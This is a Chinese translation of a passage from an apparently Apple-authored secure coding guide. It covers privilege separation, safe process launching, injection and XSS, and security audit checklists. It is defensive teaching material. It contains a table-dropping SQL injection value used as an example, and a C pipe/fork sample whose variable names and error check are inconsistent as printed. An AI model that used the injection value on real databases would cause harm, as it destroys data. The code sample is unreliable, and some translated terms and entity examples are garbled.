- 验证来自另一侧的所有输入(验证输入和进程间通信)。
- 避免不安全的进程间通信机制(验证输入和进程间通信)
- 避免Race Conditions(避免Race Conditions)。
- 将其他进程具有写访问权限的任何目录或文件的内容视为根本不受信任(保护文件操作)。
此列表可能包括: - 整个应用容器目录。
- 偏好文件。
- 临时文件。
- 用户文件。
等等。
如果你遵循这些设计原则,如果攻击者破坏了你的应用程序,你将使他们更难做任何有用的事情。
4、以唯一用户身份运行守护进程
对于从提升权限开始然后删除权限的守护进程,您应该始终为您的程序使用本地唯一的用户ID。
如果您使用一些标准UID,例如_unknown
或nobody
,那么任何运行相同UID的其他进程都可以与您的程序交互,或者直接通过进程间通信,或者间接通过更改配置文件。
因此,如果有人劫持了同一服务器上的另一个守护进程,他们就可以干扰您的守护进程;或者相反,如果有人劫持了您的守护进程,他们可以使用它来干扰服务器上的其他守护进程。
您可以使用Open Directory服务来获取本地唯一的UID。
请注意,从0到500的UID保留供系统使用。
注意:您通常应该避免根据用户的ID或姓名做出安全决策,原因有两个:
- 许多用于确定用户ID和用户名的API本质上是不可信的,因为它们返回
USER
的值。 - 有人可以简单地复制您的应用程序并将字符串更改为不同的值,然后运行该应用程序。
5、安全启动其他进程
在安全性方面,并非所有用于运行外部工具的API都是平等的。
特别是:
避免使用POSIXsystem
功能。
它的简单性使它成为一个诱人的选择,但也使它比其他功能更危险。
当你使用system
时,你有责任完全清理整个命令,这意味着保护任何被shell视为特殊的字符。
你有责任理解和正确使用shell的引用规则,知道每种类型的引号中解释了哪些字符,等等。
即使对于专业的外壳脚本程序员来说,这也是一个不小的壮举,对其他人来说也是非常不可取的。
坦率地说,你会弄错的。
提前正确设置您自己的环境。
许多API在PATH
环境变量指定的位置搜索您想要运行的工具。
如果攻击者可以修改该变量,攻击者可能会欺骗您的应用程序启动不同的工具并以当前用户身份运行它。
您可以通过自己显式设置PATH
环境变量或避免使用PATH
环境变量搜索可执行文件的exec
或posix_spawn
变体来避免此问题。
尽可能使用绝对路径,如果绝对路径不可用,则使用相对路径。
通过显式指定可执行文件的路径而不仅仅是其名称,当操作系统决定运行哪个工具时,不会查阅PATH
环境变量。
有关环境变量和shell特殊字符的更多信息,请阅读 Shell脚本入门 。
九、避免注入攻击和XSS
注入攻击和跨站点脚本(XSS)是通常与Web开发相关的两种类型的漏洞。
然而,类似的问题可能发生在任何类型的应用程序中。
通过熟悉这些类型的攻击并了解它们所代表的反模式,您可以在软件中避免它们。
1、避免注入攻击
世界上有两种类型的数据:非结构化数据和结构化数据。
您选择的类型会对您必须采取的措施产生重大影响,以使您的软件安全。
非结构化数据很少见。
当它们仅用作显示文本的手段时,它主要包括纯文本文件。
通常,看似非结构化的数据实际上是弱结构化的数据。
对于结构化数据,数据的不同部分具有不同的含义。
每当单个数据以这种方式包含两种或两种以上不同类型的数据时,就存在注入攻击的可能性。
潜在风险取决于您如何混合数据——具体而言,是严格结构化还是弱结构化。
严格结构化数据有一个固定的格式,定义了每条信息应该存储在哪里。
例如,商店库存的简单数据格式可能会指定应该有4个字节包含一个记录编号,后跟100个字节的人类可读描述。
严格结构化数据的使用相当简单。
尽管每个字节的解释取决于它在数据中的位置,但只要您避免溢出任何固定大小的缓冲区并进行适当的检查以确保这些值有意义,安全风险通常相对较低。
然而,从安全角度来看,弱结构化数据的问题更大。
弱结构化数据是一种混合方案,其中部分数据具有可变长度。
弱结构化数据可以进一步分为两类:显式大小的数据和隐式大小的数据。
显式大小的数据在任何可变长度数据的开头提供长度值。
在大多数情况下,此类数据易于解释,但必须注意确保长度值是合理的。
例如,它们不应该超过文件的末尾。
隐式大小的数据更难解释。
它使用数据本身中的特殊分隔符来描述应该如何解释数据。
例如,它可能使用逗号分隔字段,或者使用引号将数据与对该数据进行操作的命令分开。
例如,SQL和shell命令将命令词本身与命令操作的数据混合在一起。
超文本标记语言文件将标签与文本混合在一起。
等等。
由于具有显式长度的非结构化、严格结构化和弱结构化数据不太可能构成安全风险,因此本节的其余部分将重点关注具有隐式长度的弱结构化数据。
混合数据的危险
如前所述,每当您混合两种类型的数据时——例如控制语句和用分隔符分隔的实际数据——您都有行为不当的风险。
读取数据和构建数据以供以后使用时都必须考虑这些风险。
演示问题的最简单方法是通过示例。
考虑以下JSON数据片段:
{"mydictionary" :{"foo" : "Computer jargon","bar" : "More computer jargon"}
}
这种结构描述了一组嵌套的键值对。
键——mydictionary
、foo
和bar
——是可变长度的,它们的值也是可变长度的(字典,加上字符串Computer jargon
和More computer jargon
。
它们的长度由解析器决定——一个软件,它读取和分析一段复杂的数据,将其分成组成部分。
解析JSON数据时,解析器会查找一个双引号,标记每个字符串的开始和结束。
现在假设你的软件是一个在线词典,允许用户添加单词,在添加之前检查它们以确保它们不是不礼貌的词。
如果用户恶意输入如下内容会发生什么?
Term: baz
Definition: Still more computer jargon", "naughtyword": "A word you should not say
一个天真的软件可能会通过将术语和定义(按原样)包装在引号中来将定义插入JSON文件。
生成的JSON文件如下所示:
{"mydictionary" :{"foo" : "Computer jargon","bar" : "More computer jargon","baz" : "Still more computer jargon", "naughtyword": "A word you should not say"}
}
因为空格在JSON中并不重要,结果是现在有两个术语被添加到字典中,而您的软件从未检查过第二个术语的礼貌性。
相反,软件应该对数据执行引用——扫描输入以查找在封闭内容上下文中具有特殊含义的字符,并修改或以其他方式标记它们,以便它们不会被解释为特殊字符。
例如,您可以通过在JSON中的引号前面加上反斜杠(\
)来保护它们,如下所示:
{"mydictionary" :{"foo" : "Computer jargon","bar" : "More computer jargon","baz" : "Still more computer jargon\", \"naughtyword\": \"A word you should not say"}
}
现在,当解析器读取JSON时,它正确地将baz的定义读取为Still more computer jargon.", "naughtyword": "A word you should not say
。
因此,naughty word没有被定义,因为它只是baz定义的一部分。
当然,这仍然留下了一个问题,即你是否应该检查定义中的不合适的词,但这是一个单独的问题。
SQL注射
最常见的注入攻击类型是SQL注入,这是一种利用SQL语法注入任意命令的技术。
SQL语句如下所示:
INSERT INTO users (name, description) VALUES ("John Doe", "A really hoopy frood.");
此示例包含指令(INSERT
本身)和数据(要插入的字符串)的混合。
简单的软件可能通过简单的字符串连接手动构建查询。
这种方法非常危险,特别是当数据来自不受信任的来源时,因为如果用户名或描述包含双引号,不受信任的来源就可以提供命令数据而不是值数据。
为了使问题更加复杂,SQL语言提供了注释运算符--
,这会导致SQL服务器忽略该行的其余部分。
例如,如果用户输入以下文本作为其用户名:
joe", "somebody"); DROP TABLE users; --
生成的命令如下所示:
INSERT INTO users (name, description) VALUES ("joe", "somebody"); DROP TABLE users; --", "A really hoopy frood.");
数据库会插入用户,但随后会尽职尽责地删除所有用户帐户和保存它们的表,从而使服务无法运行。
稍微不那么天真的程序可能会检查双引号并拒绝允许您在用户名或描述中使用它们。
通常,这是不可取的,原因有几个:
- 这种方法可能与UTF-8不兼容。
UTF-8字符通常包含与引号相同的数值,这意味着(例如)带有cedilla的大写G可能错误地存储在您的数据库中,这取决于您的SQL服务器如何处理UTF-8(或不处理)。 - 如果您稍微更改查询以使用单引号,您的解决方案就会中断。
- 如果用户在引号之前放置反斜杠,则您的解决方案会中断(除非您还引用这些),因为这两个反斜杠随后会被视为文字字符。
- 如果您检查JavaScript中的非法字符但不在服务器端执行类似的检查,恶意用户可以绕过检查并注入代码。
- 如果您在JavaScript中检查非法字符,因为用户无法轻松查看您在服务器端是否有类似的检查,您的用户会担心您网站的安全性。
- 您的某个用户可能真的希望他们的用户名是
"; DROP TABLE users; --
或者稍微不那么极端的东西。
相反,正确的解决方案是使用SQL客户端库的内置函数来引用字符串,或者在可能的情况下使用参数化SQL查询,用占位符替换字符串本身。
例如,参数化SQL查询可能如下所示:
INSERT INTO users (name, description) VALUES (?, ?);
然后,您将在数组中提供带外的名称和描述值。
根据您的特定数据库实现如何处理这些类型的查询,语句可能仍然会转换回相同的混合数据查询,但是考虑到使用大多数主要数据库的人数,数据库本身提供的任何转换例程中的错误都可能很快被捕获并修复。
有关避免对以复杂方式使用核心数据的应用程序进行SQL注入攻击的更多信息,请阅读 谓词编程指南 中的 创建谓词。
C语言命令执行和Shell脚本
在C编程语言中,有许多可接受的方法来执行外部命令,使用exec
、posix_spawn
、NSTask
以及相关的函数和类。
也有许多错误的方法来使用这些和其他函数。
本节提供了一些关于运行外部命令时如何避免安全漏洞的提示。
- 不要使用system。
该system
函数运行外部shell进程,并将命令字符串直接传递给该shell。
这意味着您必须正确引用传递给命令的任何参数。
如果这些参数来自可能不受信任的来源,则system
函数尤其有问题。
因此,您应该避免使用system
函数,除非使用硬编码命令。 - 不要使用popen。
popen
与system
具有相同的安全风险。
不要使用popen
,要么使用NSTask
类,要么构造管道并自己执行命令。
通过NSTask
,可以很容易地与子进程的标准输入、输出和错误描述符进行通信。
NSTask类参考 可以了解更多信息。
在POSIX级别,您可以通过pipe
系统调用实现相同的功能,如下所示:
- 使用
pipe
系统调用创建一对或多对连接的管道。 - 使用
fork
系统调用创建子进程。 - 在子进程中,使用
dup2
系统调用将一个或多个标准输入、标准输出和标准错误文件描述符替换为您选择的管道端点。 - 在子进程中,使用
exec
、posix_spawn
或相关函数来启动所需的工具。 - 在父进程中,从每个管道的另一端读取或写入。
例如:
int pipes[2];
if (pipe(pipes) < -1) {... // Handle the error
}int pid = fork();
if (pid == -1) {... // Handle the error
} else if (!pid) {// In the child process:dup2(pipe[1], STDOUT_FILENO); // or STDIN_FILENO or STDERR_FILENOclose(pipe[0]);exec(...) or posix_spawn(...) // Run the external tool.} else {// In the parent process:close(pipe[1]);read(pipe[0], ...);waitpid(pid, ...); // Wait for the child process to go away.
}
有关详细信息,请参阅pipe
、fork
、dup2
、exec
、posix_spawn
和waitpid
手册页。
- 尽可能避免使用shell脚本。
无论您使用的是NSTask
还是上述任何函数,都避免使用shell脚本执行命令,因为shell引用很容易出错。
相反,单独执行命令。 - 审核任何shell脚本。
如果您的软件运行shell脚本并将潜在的不受信任的数据传递给它们,您的软件可能会受到这些脚本中任何引用错误的影响。
您应该仔细审核这些脚本是否存在可能导致安全漏洞的引用错误。
有关详细信息,请阅读Shell脚本入门中的 引用特殊字符和Shell脚本安全性。
Quoting for URLs
引用URL的规则很复杂,超出了本文档的范围。
macOS和iOS提供例程来帮助您,但您必须确保对您尝试执行的操作使用正确的例程。
要了解更多信息,请阅读 网络概述 中的 将字符串转换为URL编码。
引用超文本标记语言和XML
使用超文本标记语言和XML最安全的方法是使用为每个节点提供对象的库,例如NSXMLParser
类或libxml2
API。
但是,如果必须手动构造超文本标记语言或XML,则在将文本转换为超文本标记语言或XML时必须显式引用五个特殊字符:
- 小于(
<
)-替换为<
无处不在 - 大于(
>
)-替换为>
无处不在 - &(
&
)-替换为&
无处不在 - 双引号(
"
)-替换为"
内部属性值 - 单引号(
"
)-替换为&apos
内部属性值
重要提示: 在某些情况下(例如在JavaScript代码中),引用这五个字符可能是不够的。
阅读XSS预防备忘单了解更多详细信息。
要详细了解未能正确引用超文本标记语言内容可能导致的安全漏洞,请阅读避免跨站点脚本。
2、避免跨站点脚本
与Web开发相关的另一个重大风险是跨站点脚本。
跨站点脚本是指向网站注入代码,导致其行为与其他情况不同。
例如,攻击者可能会注入一个显示虚假登录对话框的键盘记录器,并将密码发送回攻击者。
有多种类型的跨站脚本漏洞:
- 如果网站显示URL查询字符串中提供的内容而没有进行适当的清理,攻击者可以创建一个超链接来执行任意JavaScript代码。
当受害者遵循该链接时,攻击者提供的脚本会在受害者的浏览器会话中运行。 - 允许用户彼此共享基于超文本标记语言的内容的网站可能会无意中提供用户提供的恶意JavaScript代码,无论是在独立的脚本标记中还是隐藏在各种超文本标记语言属性和CSS属性中。
当另一个用户访问该页面时,恶意JavaScript代码会在受害者的浏览器会话中运行。 - 对包含用户提供的数据的字符串使用
eval
的脚本如果没有正确清理用户提供的数据,可能会执行任意代码。
等等。
跨站点脚本的细节超出了本文档的范围。
要了解更多关于跨站点脚本以及如何避免它的信息,请阅读XSS预防备忘单。
从那里,您可以找到许多其他关于网络安全的文章的链接。
您还可以找到许多关于跨站点脚本的第三方书籍。
十、安全开发例
本附录提供了一组安全审计例,您可以使用这些例来帮助减少软件的安全漏洞。
这些例旨在软件开发期间使用。
如果您在开始编码之前通读本节,您可能会避免许多在已完成的程序中难以纠正的安全陷阱。
请注意,这些例并非详尽无遗;您可能没有这里讨论的任何潜在漏洞,仍然有不安全的代码。
此外,作为代码的作者,您可能与代码过于接近,无法完全客观,因此可能会忽略某些缺陷。
因此,让独立审查员审查您的代码是否存在安全问题非常重要。
安全专家是最好的,但是任何有能力的程序员,如果知道要寻找什么,可能会发现您可能遗漏的问题。
此外,每当代码以任何方式更新或更改时,包括修复错误,都应该再次检查安全问题。
重要提示:所有代码在发布之前都应进行安全审计。
1、特权的使用
此例旨在确定您的代码是否曾经以提升的权限运行,如果是,如何最好地安全运行。
请注意,如果可能,最好避免以提升的权限运行;请参阅避免提升权限。
- 尽可能减少权限。
如果您将权限分离与沙盒或其他权限限制技术一起使用,则应小心确保您的辅助工具旨在限制它们在主应用程序受到损害时可能造成的损害,反之亦然。
阅读设计安全助手和守护进程以了解如何操作。
此外,对于从提升权限开始然后删除权限的守护程序,您应该始终为您的程序使用本地唯一的用户ID。
请参阅以唯一用户身份运行守护程序以了解更多信息。 - 谨慎使用提升的权限,并且仅在特权助手中使用。
在大多数情况下,程序可以在没有提升权限的情况下通过,但有时程序需要提升权限来执行有限数量的操作,例如将文件写入特权目录或打开特权端口。
如果攻击者发现允许执行任意代码的漏洞,攻击者的代码以与正在运行的代码相同的权限运行,如果该代码具有root权限,则可以完全控制计算机。
由于这种风险,您应该尽可能避免提升权限。
如果您必须以提升的权限运行代码,以下是一些规则: - 尽可能使用
launchd
。
如果您正在编写以提升的权限运行的守护进程或其他进程,您应该始终使用launchd
它。
(要了解为什么不推荐其他机制,请阅读其他机制的限制和风险。)
有关launchd
的详细信息,请参阅launchd
、launchctl
和launchd.plist
的手册页,以及 守护程序和服务编程指南 。
有关启动项的详细信息,请参阅 守护程序和服务编程指南 。 - 避免以编程方式使用sudo。
如果在sudoers
文件中授权这样做,用户可以使用sudo
以root身份执行命令。
sudo
命令旨在供坐在计算机前并在终端应用程序中键入的用户偶尔使用。
它在脚本中使用或从代码中调用是不安全的。
执行sudo
命令(需要通过输入密码进行身份验证)后,有五分钟的时间(默认情况下)可以执行sudo命令而无需进一步身份验证。
另一个进程可能会利用这种情况以root身份执行命令。
此外,对正在执行的命令没有加密或保护。
因为sudo用于执行特权命令,所以命令参数通常包括用户名、密码和其他应该保密的信息。
脚本或其他代码以这种方式执行的命令可能会使机密数据受到可能的拦截和泄露。 - 尽量减少必须以提升的权限运行的代码量。
问问自己大约需要多少行代码才能以提升的权限运行。
如果这个答案要么是“全部”,要么是一个难以计算的数字,那么对您的软件进行安全审查将非常困难。
如果您无法确定如何分解您的应用程序以分离出需要特权的代码,强烈建议您立即就您的项目寻求帮助。
如果您是ADC会员,我们鼓励您向Apple工程师寻求帮助,以分解您的代码并执行安全审计。
如果您不是ADC会员,请参阅http://developer.apple.com/programs/的ADC会员页面。 - 切勿以提升的权限运行GUI应用程序。
您永远不应该使用提升的权限运行GUI应用程序。
许多库中的任何GUI应用程序链接,您都无法控制,并且由于其大小和复杂性,很可能包含安全漏洞。
在这种情况下,您的应用程序在GUI设置的环境中运行,而不是由您的代码设置的。
然后,您的代码和用户数据可能会因利用库或图形界面环境中的任何漏洞而受到损害。
2、数据、配置和临时文件
一些安全漏洞与读取或写入文件有关。
此例旨在帮助您在代码中找到任何此类漏洞。
- 在不受信任的位置处理文件时要小心。
如果您写入用户拥有的任何目录,那么用户可能会修改或损坏您的文件。
同样,如果您将临时文件写入可公开写入的位置(例如,/tmp
、/var/tmp
、/Library/Caches
或具有此特性的其他特定位置),攻击者可能能够在您下次读取文件之前修改您的文件。
如果您的代码读取和写入文件(特别是如果它使用文件进行进程间通信),您应该将这些文件放在只有您有权写入的安全目录中。
有关与写入文件相关的漏洞以及如何将风险降至最低的详细信息,请参阅检查时间与使用时间的对比。 - 避免使用不受信任的配置文件、首选项文件或环境变量。
在许多情况下,用户可以控制环境变量、配置文件和首选项。
如果您正在以提升的权限为用户执行程序,则您正在为用户提供执行他们通常无法执行的操作的机会。
因此,您应该确保您的特权代码的行为不依赖于这些东西。
这意味着:- 验证所有输入,无论是直接来自用户还是通过环境变量、配置文件、首选项文件或其他文件。
在环境变量的情况下,效果可能不会立即或明显;但是用户可能能够修改您的程序或其他程序或系统调用的行为。
- 验证所有输入,无论是直接来自用户还是通过环境变量、配置文件、首选项文件或其他文件。
- 确保文件路径不包含通配符,例如
../
或~
,攻击者可以使用这些通配符将当前目录切换到攻击者控制的目录。 - 显式设置运行进程可用的权限、环境变量和资源,而不是假设进程继承了正确的环境。
- 仔细加载内核扩展(或根本不加载)。
一个内核扩展是最终的特权代码——它可以访问普通代码无法触及的操作系统级别,即使是以root身份运行。
你必须非常小心为什么、如何以及何时加载内核扩展,以防止被愚弄加载错误的扩展。
如果你不够小心,可能会加载一个root工具包。
(root工具包是恶意代码,通过在内核中运行,它不仅可以接管系统的控制权,还可以掩盖它自己存在的所有证据。)
为了确保攻击者没有以某种方式替换他们自己的内核扩展,您应该始终将内核扩展存储在安全位置。
如果需要,您可以使用代码签名或哈希来进一步验证它们的真实性,但这并不能消除使用适当权限保护扩展的需要。
(检查时间与使用时间攻击仍然是可能的。)请注意,在最新版本的macOS中,KEXT加载系统部分缓解了这种情况,该系统拒绝加载任何所有者不是root
或组不是wheel
的kext二进制文件。
一般来说,您应该避免编写内核扩展(请参阅 内核编程指南 中的 保持外出)。
但是,如果您必须使用内核扩展,请使用macOS中内置的工具来加载您的扩展,并确保从单独的特权进程加载扩展。
请参阅安全地提升权限以了解有关安全使用root访问的更多信息。
有关编写和加载内核扩展的更多信息,请参阅 内核编程指南 。
有关编写设备驱动程序的帮助,请参阅 IOKit基础知识 。
3、网络端口使用
此例旨在帮助您查找与通过网络发送和接收信息相关的漏洞。
如果您的项目不包含任何通过网络发送或接收信息的工具或应用程序,请跳到审核日志(用于服务器)或所有其他产品的 整数和缓冲区溢出。
- 使用分配的端口号。
端口号0到1023保留供Internet号码分配机构(IANA;参见http://www.iana.org/)指定的某些服务使用。
在包括macOS在内的许多系统上,只有以root身份运行的进程才能绑定到这些端口。
然而,假设通过这些特权端口进行的任何通信都可以信任是不安全的。
攻击者可能已经获得root访问权限并使用它来绑定到特权端口。
此外,在某些系统上,不需要root访问权限来绑定到这些端口。
您还应该注意,如果您在UDP中使用SO_REUSEADDR
套接字选项,本地攻击者可能会劫持您的端口。
因此,您应该始终使用IANA分配的端口号,您应该始终检查返回代码以确保您已成功连接,您应该检查您是否连接到正确的端口。
此外,一如既往,永远不要信任输入数据,即使它来自特权端口。
无论数据是从文件中读取的、由用户输入的还是通过网络接收的,您都必须验证所有输入。
有关验证输入的更多信息,请参阅验证输入和进程间通信。 - 选择适当的传输协议。
较低级别的协议(例如UDP)为某些类型的流量提供了更高的性能,但比更高级别的协议(例如TCP)更容易被欺骗。
请注意,如果您使用的是TCP,您仍然需要担心对连接的两端进行身份验证,但您可以添加加密层以提高安全性。 - 需要身份验证时使用现有的身份验证服务。
如果您提供免费且非机密的服务,并且不处理用户输入,那么身份验证是不必要的。
另一方面,如果正在交换任何秘密信息,允许用户输入您的程序处理的数据,或者有任何理由限制用户访问,那么您应该对每个用户进行身份验证。
macOS提供了各种安全的网络API和授权服务,所有这些都执行身份验证。
您应该始终使用这些服务,而不是创建自己的身份验证机制。
首先,身份验证很难正确进行,出错也很危险。
如果攻击者破坏了您的身份验证方案,您可能会泄露机密或给攻击者一个进入您系统的入口。
网络应用程序唯一批准的授权机制是Kerberos;请参阅客户端-服务器身份验证。
有关安全网络的更多信息,请参阅 安全传输参考 和 CFNetwork编程指南 。 - 以编程方式验证访问。
UI限制不能保护您的服务免受攻击。
如果您的服务提供的功能只能由特定用户访问,则该服务必须执行适当的检查以确定当前用户是否有权访问该功能。
如果您不这样做,那么足够熟悉您的服务的人可能会通过修改URL、发送恶意Apple事件等来执行未经授权的操作。 - 优雅地失败。
如果由于网络问题或服务器受到拒绝服务攻击而导致服务器不可用,则客户端应用程序应限制重试的频率和次数,并应给予用户取消操作的机会。
设计不佳的客户端过于频繁和过于坚持地重试连接,或者在等待连接时挂起,可能会无意中导致拒绝服务。 - 设计您的服务以处理高连接量。
您的守护进程应该能够在拒绝服务攻击中幸存下来,而不会崩溃或丢失数据。
此外,您应该限制每个守护进程可以使用的处理器时间、内存和磁盘空间总量,以便对任何给定守护进程的拒绝服务攻击不会导致对系统上每个进程的拒绝服务。
您可以使用pfctl
防火墙程序来控制Internet守护进程的数据包和流量。
有关pfctl
的更多信息,请参阅pfctl
手册页。
有关处理拒绝服务攻击的更多建议,请参阅Wheeler,Secure Programming HOWTO,可在http://www.dwheeler.com/secure-programs/获得。 - 仔细设计哈希函数。
哈希表通常用于提高搜索性能。
但是,当存在哈希冲突(列表中的两个项目具有相同的哈希结果)时,必须使用较慢(通常是线性)的搜索来解决冲突。
如果用户有可能故意生成具有相同哈希结果的不同请求,攻击者可以通过发出许多这样的请求来发起拒绝服务攻击。
可以设计在碰撞情况下使用树等复杂数据结构的哈希表,这样做可以显着减少这些攻击造成的损害。
4、审核日志
这是非常重要的审计尝试连接到服务器或获得授权使用安全程序。
如果有人试图攻击您的程序,您应该知道他们在做什么以及他们是如何做的。
此外,如果您的程序被成功攻击,您的审计日志是您确定发生了什么以及安全漏洞有多严重的唯一方法。
此例旨在帮助您确保您有适当的日志记录机制。
重要提示:不要记录机密数据,例如密码,这些数据以后可能会被恶意用户读取。
- 审计尝试连接。
您的守护程序或安全程序应审核连接尝试(成功尝试和失败)。
请注意,攻击者可以尝试使用审计日志本身来创建拒绝服务攻击;因此,您应该限制输入审计消息的速率和日志文件的总大小。
您还需要验证对日志本身的输入,这样攻击者就无法输入特殊字符,例如您在读取日志时可能会误解的换行符。
有关审计日志的一些建议,请参阅Wheeler,Secure Programming HOWTO。 - 尽可能使用
libbsm
审计库。
而libbsm
审计库是TrustedBSD项目的一部分,而TrustedBSD项目又是FreeBSD操作系统的一组可信扩展,苹果为这个项目做出了贡献,并将审计库并入了macOS操作系统的Darwin内核中。(这个库在iOS中不可用。)
您可以使用libbsm
审计库来实现对您的程序进行登录和授权尝试的审计。
该库使您可以很好地控制哪些事件被审计以及如何处理拒绝服务攻击。
libbsm项目位于 http://www.opensource.apple.com/darwinsource/Current/bsm/。 - 如果您不能使用
libbsm
,在编写审计跟踪时要小心。
当使用libbsm
以外的审计机制时,您应该避免一些陷阱,这取决于您使用的审计机制:syslog
在实现libbsm
审计库之前,标准C库函数syslog
最常用于将数据写入日志文件。
如果您使用的是syslog
,请考虑切换到libbsm
,它为您提供了更多处理拒绝服务攻击的选项。
如果您想继续使用syslog
,请确保您的审计代码能够抵抗拒绝服务攻击,如步骤1所述。
5、客户端-服务器身份验证
如果在守护进程和客户端进程之间传递了任何私有或机密信息,则连接的两端都应该经过身份验证。
此例旨在帮助您确定守护进程的身份验证机制是否安全和充分。
如果您没有编写守护进程,请跳到整数和缓冲区溢出。
- 在macOS中,您可以使用钥匙串存储密码,并使用授权服务创建、修改、删除和验证用户密码(请参阅 钥匙串服务参考 和 授权服务编程指南 )。
- 在macOS中,如果您有权访问macOS服务器设置,则可以使用Open Directory(请参阅 Open Directory编程指南 )来存储密码和验证用户身份。
- 在iOS设备上,您可以使用钥匙串来存储密码。
iOS设备对尝试获取钥匙串项目的应用程序进行身份验证,而不是向用户询问密码。
通过将数据存储在钥匙串中,您还可以确保它们在任何设备备份中保持加密。
- 切勿以明文形式通过网络连接发送密码。
您永远不应该假设未加密的网络连接是安全的。
客户端和服务器之间的任何个人或组织都可以截获未加密网络上的信息。
即使是不走出公司的内部网也不安全。
很大一部分网络犯罪是由公司内部人员实施的,可以假设他们可以访问防火墙内的网络。
macOS提供用于安全网络连接的API;有关详细信息,请参阅 安全传输参考 和 CFNetwork编程指南 。 - 使用服务器身份验证作为反欺骗措施。
尽管服务器身份验证在SSL/TLS协议中是可选的,但您应该始终这样做。
否则,攻击者可能会欺骗您的服务器,在此过程中伤害您的用户并损害您的声誉。 - 使用合理的密码策略。
- 密码强度
一般来说,最好为用户提供一种评估建议密码强度的方法,而不是要求字母、数字或标点符号的特定组合,因为任意规则往往会导致人们选择符合标准的坏密码(Firstname.123),而不是选择好密码。 - 密码过期
密码过期有利有弊。
如果您的服务以明文形式传输密码,这是绝对必要的。
然而,如果你的密码传输被认为是安全的,密码过期实际上会削弱安全性,因为它会导致人们选择他们能记住的较弱的密码,或者把他们的密码写在显示器上的便签上。
有关详细信息,请参阅密码过期被认为有害。 - 非口令认证
Hardware-token-based身份验证比任何密码方案都提供了更高的安全性,因为每次使用时正确的响应都会发生变化。
这些令牌应始终与PIN相结合,您应该教育您的用户,以便他们不会在令牌本身上写入他们的用户名或PIN。 - 禁用帐户
当员工离开或用户关闭帐户时,应禁用该帐户,以便它不会被攻击者入侵。
您拥有的活跃帐户越多,一个人拥有弱密码的可能性就越大。 - 过期账户
过期未使用的帐户会减少活动帐户的数量,这样做可以降低旧帐户因有人窃取用户用于其他服务的密码而受到损害的风险。
但是请注意,在不首先警告用户的情况下使用户帐户过期通常是一个坏主意。
如果您没有联系用户的方法,过期的帐户通常被认为是糟糕的形式。 - 更改密码
您可以要求客户端应用程序支持更改密码的能力,也可以要求用户使用服务器本身上的Web界面更改密码。
在任何一种情况下,用户(或代表用户的客户端)都必须提供以前的密码以及新密码(两次,除非客户端通过足够健壮的通道以编程方式更新它)。 - 密码长度限制(可由系统管理员调整)
通常,您应该要求密码长度至少为八个字符。
(附带说明一下,如果您的服务器将密码限制为最多八个字符,您需要重新考虑您的设计。
如果可能的话,根本不应该有最大密码长度。)
您执行的这些策略越多,您的服务器就越安全。
您不应该创建自己的密码数据库——这很难安全地做到——而是应该使用Apple密码服务器。
有关密码服务器的更多信息,请参阅 打开目录编程指南 ,目录服务框架参考以获取目录服务功能列表,以及pwpolicy(8)
、passwd(1)
、passwd(5)
和getpwent(3)
在http://developer.apple.com/documentation/Darwin/Reference/ManPages/index.html获取访问密码数据库和设置密码策略的工具。
- 密码强度
- 不要存储未加密的密码,也不要补发密码。
为了重新发布密码,您首先必须缓存未加密的密码,这是不好的安全做法。
此外,当您重新发布密码时,您也可能在不适当的安全上下文中重复使用该密码。
例如,假设您的程序在Web服务器上运行,并且您使用SSL与客户端通信。
如果您使用客户端的密码并使用它登录数据库服务器以代表客户端执行某些操作,则无法保证数据库服务器保持密码安全,并且不会以明文形式将其传递给另一台服务器。
因此,即使密码在通过SSL发送到Web服务器时处于安全上下文中,当Web服务器重新发出密码时,它也处于不安全的上下文中。
如果你想让你的客户端免于单独登录到每台服务器的麻烦,你应该使用某种可转发的身份验证,比如Kerberos。
有关Apple实施Kerberos的更多信息,请参阅http://developer.apple.com/darwin/projects/kerberos/。
在任何情况下,您都不应该设计一个系统,让系统管理员或其他员工可以看到用户的密码。
您的用户信任您的密码,他们可能会将这些密码用于其他站点;因此,允许其他人看到这些密码是极其鲁莽的。
应该允许管理员将密码重置为新值,但绝不应该允许他们看到已经存在的密码。 - 支持Kerberos。
Kerberos是通过网络为macOS服务器提供的唯一授权服务,它提供单点登录功能。
如果您正在编写在macOS上运行的服务器,您应该支持Kerberos。
当您这样做时:- 确保您使用的是最新版本(v5)。
- 使用特定于服务的主体,而不是主机主体。
使用Kerberos的每个服务都应该有自己的主体,以便一个密钥的泄露不会危及多个服务。
如果使用主机主体,任何拥有您的主机密钥的人都可以欺骗系统上的任何人的登录。
Kerberos的唯一替代方案是将SSL/TLS身份验证与其他一些授权方式(如权限改造列表)相结合。
- 适当限制客人访问。
如果您允许访客访问,请确保访客的权限受到限制,并且您的用户交互界面向系统管理员明确访客的权限。
访客访问应该默认关闭。
管理员最好可以禁用访客访问。
此外,如前所述,请确保限制来宾在实际执行操作的代码中可以执行的操作,而不仅仅是在生成用户交互界面的代码中。
否则,对系统有足够了解的人可能会以其他方式(例如通过修改URL)执行这些未经授权的操作。 - 不要实现自己的目录服务。
Open Directory是macOS提供的目录服务器,用于安全存储密码和用户身份验证。
使用此服务而不是尝试实现自己的服务非常重要,因为安全目录服务器很难实现,如果操作错误,整个目录的密码可能会被泄露。
有关详细信息,请参阅 Open Directory编程指南 。 - 验证后从内存中清除(零)个用户密码。
密码必须在内存中保存尽可能短的时间,并且应该在不再需要时重新写入,而不仅仅是释放。
即使应用程序不再有指向它的指针,也可以读取内存溢出的数据。
6、整数和缓冲区溢出
如避免缓冲区溢出和下溢,缓冲区溢出是安全漏洞的主要来源。
此例旨在帮助您识别和纠正程序中的缓冲区溢出。
- 计算内存对象偏移量和大小时使用无符号值。
签名值使攻击者更容易导致缓冲区溢出,从而产生安全漏洞,特别是如果您的应用程序接受来自用户输入或其他外部来源的签名值。
请注意,参数中引用的数据结构可能包含有符号值。
有关详细信息,请参阅避免整数溢出和下溢以及计算缓冲区大小。 - 计算内存对象偏移量和大小时检查整数溢出(或有符号整数下溢)。
在计算内存偏移量或大小时,您必须始终检查整数溢出或下溢。
整数溢出和下溢会破坏内存,从而导致执行任意代码。
有关详细信息,请参阅避免整数溢出和下溢以及计算缓冲区大小。 - 避免不安全的字符串处理函数。
函数strcat
、strcpy
、strncat
、strncpy
、sprintf
、vsprintf
和gets
没有内置字符串长度检查,可能导致缓冲区溢出。
有关替代方案,请阅读字符串处理。
7、密码功能使用
此例旨在帮助您确定您的程序是否存在与使用加密、加密算法或随机数生成相关的任何漏洞。
- 使用受信任的随机数生成器。
不要试图生成自己的随机数。
使用随机化服务编程接口,如 随机化服务参考 中所述。
请注意,rand
